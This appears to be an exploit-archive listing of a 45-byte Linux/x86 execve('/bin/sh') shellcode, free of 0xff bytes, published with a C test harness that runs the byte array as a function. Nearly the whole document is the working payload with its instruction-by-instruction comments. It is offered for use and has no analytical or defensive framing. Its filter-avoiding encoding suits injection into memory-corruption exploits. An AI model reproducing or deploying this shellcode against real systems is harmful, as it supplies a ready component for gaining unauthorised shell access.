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linux/x86 execve /bin/sh IA32 0xff-less 45 bytes
[================================================
linux/x86 execve /bin/sh IA32 0xff-less 45 bytes
================================================
/*
0xff-less execve() /bin/sh by anathema <anathema@hack.co.za>
*/
#include <stdio.h>
#include <stdlib.h>
unsigned char code[] =
/* Linux/IA32 0xff-less execve() shellcode. */
"\x89\xe6" /* movl %esp, %esi */
"\x83\xc6\x30" /* addl $0x30, %esi */
"\xb8\x2e\x62\x69\x6e" /* movl $0x6e69622e, %eax */
"\x40" /* incl %eax */
"\x89\x06" /* movl %eax, (%esi) */
"\xb8\x2e\x73\x68\x21" /* movl $0x2168732e, %eax */
"\x40" /* incl %eax */
"\x89\x46\x04" /* movl %eax, 0x04(%esi) */
"\x29\xc0" /* subl %eax, %eax */
"\x88\x46\x07" /* movb %al, 0x07(%esi) */
"\x89\x76\x08" /* movl %esi, 0x08(%esi) */
"\x89\x46\x0c" /* movl %eax, 0x0c(%esi) */
"\xb0\x0b" /* movb $0x0b, %al */
"\x87\xf3" /* xchgl %esi, %ebx */
"\x8d\x4b\x08" /* leal 0x08(%ebx), %ecx */
"\x8d\x53\x0c" /* leal 0x0c(%ebx), %edx */
"\xcd\x80" /* int $0x80 */
;
void main()
{
void (*s)() = (void *)code;
printf("Shellcode length: %d\nExecuting..\n\n",
strlen(code));
s();
}
# 0day.today [2024-12-24] #